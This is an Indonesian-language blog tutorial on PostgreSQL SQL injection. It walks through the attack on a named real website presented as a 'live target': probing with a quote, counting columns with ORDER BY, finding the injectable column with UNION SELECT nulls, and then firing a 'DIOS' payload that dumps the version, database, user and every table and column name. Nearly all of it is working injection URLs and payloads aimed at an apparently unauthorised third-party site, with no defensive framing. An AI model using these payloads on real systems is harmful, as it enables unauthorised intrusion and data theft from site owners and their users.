Tutorial SQL Postgre

 



Assalamualaikum warahmatullahi wabarokhatuh hallo sobat semua nya balik lagi di blog Saya,di artikel kali ini saya akan memberikan "TUTORIAL SQL Postgre" Ok tanpa Berlama-lama langsung saja ke tutorial nya


Saya sudah siapkan live target yaa ! 


nah langkah awal seperti biasa kita ke DH Hackbar, lalu masukkan targetnya


http://www.taikouyama-hp.com/webpage.php?gid=2


nah Tampilan awalnya seperti ini ya (teliti) 



oke mari kita inject, 


http://www.taikouyama-hp.com/webpage.php?gid=2


pada web coba kita cek vuln atau tidak dengan menggunakan tanda petik (') 


jadinya seperti ini

=> http://www.taikouyama-hp.com/webpage.php?gid=2'


dan seperti ini tampilannya 


ada banyak warning (peringatan),


nah tandai aja kalo ada web yang ada warningnya, kalo ga SQLi Oracle ya sudah pasti SQLi Postgre

LANJUTT


coba kita kasih --+- (PENGERTIAN)=> (--+-) itu berguna untuk normalin web yang error setelah diberikan tanda petik tadi (')

jadinya seperti ini 

http://www.taikouyama-hp.com/webpage.php?gid=2'--+-

Dan tampilan nya akan seperti ini 



Loh kok tampilannya sama aja?

loh kok tampilannya masih error?


yups emang masih error jadi pengertiannya gini=>

{PENGERTIAN}

=> tidak semua web bisa diinject saat web menggunakan / diberi tanda petik (') diparam


=> lalu caranya agar bisa normal yaitu, kita coba hapus tanda petik (') diparam, jadinya seperti ini.

=>http://www.taikouyama-hp.com/webpage.php?gid=2--+-


lihat tampilan webnya normal


Oke kita lanjut ORDER BY

{KEGUNAAN ORDER BY}

ORDER BY berguna untuk menghitung angka NORMAL / ERROR nya sebuah web

contoh pada web yang telah diberikan ORDER BY,

CONTOH=> php?id=2' ORDER BY 9--+- (normal)

CONTOH=> php?id=2' ORDER BY 10--+- (error)

jadi angka targetnya adalah angka 9 karena angka sebelum error adalah angka 9

PAHAM ? OKE LANJUT


disini say langsung ORDER BY aja

=> http://www.taikouyama-hp.com/webpage.php?gid=2 ORDER BY 32 (normal)

=> http://www.taikouyama-hp.com/webpage.php?gid=2 ORDER BY 33 (eror)


bedakan tampilan angka 32 dengan angka 33


ini angka 32 (normal)


ini angka 33 (error)

OKE LANJUTT ! 

kita lanjut UNION SELECT

(PENGETIAN)

>> KEGUNAAN UNION SELECT <<

UNION SELECT biasanya berguna untuk memunculkan angka ajaib pada tampilan website, tapi untuk SQLi Postgre sangat berbeda dari SQLi yang lain terkecuali SQLi Oracle.

SQLi Postgre itu hampir sama dengan SQLi Oracle, bisa dibilang mereka 1 2 atau 11 12 karena cara nginjectionsnya hampir sama namun hanya beda type dan cara kerja.

PAHAM ? OKE LANJUT.


lanjut UNION SELECT

nahh bedanya SQLi Postgre / Oracle dengan yang lain, yaitu menggunakan (null) null sendiri adalah pengganti dari angka 1,2,3 jika pakai null maka NULL,NULL,NULL

PAHAM ? LANJUT!


=> http://www.taikouyama-hp.com/webpage.php?gid=2 AND 0 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --+-


(kok error bang ?), oke kita harus menggunakan alternatif nya yaitu AND 1=0


jadinya seperti ini

=> http://www.taikouyama-hp.com/webpage.php?gid=2 AND 1=0 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --+-

dan ini tampilannya 


nahh itu tandanya normal walau webnya agak sedikit berbeda dari tampilan normal sebelum sebelumnya.

(PENJELASAN)

bedanya Pestgre dengan Oracle hanyalah, jika Oracle menggunakan (FROM+DUAL) pada akhir NULL.

tapi postgre tidak menggunakan (FROM+DUAL) itu adalah pengertian

PAHAM ? oke lanjut


=> http://www.taikouyama-hp.com/webpage.php?gid=2 AND 1=0 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null --+-


nah disini kita itu mencari angka dari web nya, IBARATKAN kamu sedang mencari barang yang hilang di gelap nya malam tanpa cahaya pasti nya kita meraba" ya


nahh caranya kita berikan version() atau user() disetiap NULL hingga menemukan apa yang kita cari.

CONTOH=> null,null,null,null,null,null,null--+-

nahh kita cek pakai version() / user()

jadinya seperti ini


=>version(),null,null,null,null,null,null--+-

jika tidak menemukan lanjut ke null selanjutnya

null,version(),null,null,null,null,null--+-

sampai angka yang di targetkan benar-benar jumpa.


SKIP

jadi saya menemukan angkanya di angka null terakhir yaitu 31 dengan menggunakan version()

lihat gambar ny seperti ini 


oke lanjut ke dios postgre, setiap type web yang berbeda memiliki dios yang berbeda dengan SQL lain nya untuk Dios Postgre di bawah ini


Concat($${ .Jack007 }$$,$$<br>$$,$$VERSION :: $$,version(),$$<br>$$,$$DATABASE ::$$,current_database(),$$<br>$$,$$USER :: $$,current_user,$$<br>$$,$$<br>$$,(SELECT+ARRAY_TO_STRING(ARRAY_AGG(concat(table_name,$$::$$,column_name)::TEXT),$$<li>$$)FROM+information_schema.columns+WHERE+table_schema+NOT+in($$information_schema$$,$$pg_catalog$$)))


Nah Dios nya pasang di null 31 ya jadi nya seperti ini


http://www.taikouyama-hp.com/webpage.php?gid=2 AND 1=0 UNION SELECT null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,Concat($${ .Jack007 }$$,$$<br>$$,$$VERSION :: $$,version(),$$<br>$$,$$DATABASE ::$$,current_database(),$$<br>$$,$$USER :: $$,current_user,$$<br>$$,$$<br>$$,(SELECT+ARRAY_TO_STRING(ARRAY_AGG(concat(table_name,$$::$$,column_name)::TEXT),$$<li>$$)FROM+information_schema.columns+WHERE+table_schema+NOT+in($$information_schema$$,$$pg_catalog$$))),null --+- 

Dan tampilan nya seperti di bawah ini 


Sekian dari Saya Semoga Bermanfaat 


Terimakasih dan sampai jumpa di artikel selanjutnya:)





Belum ada Komentar untuk "Tutorial SQL Postgre"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel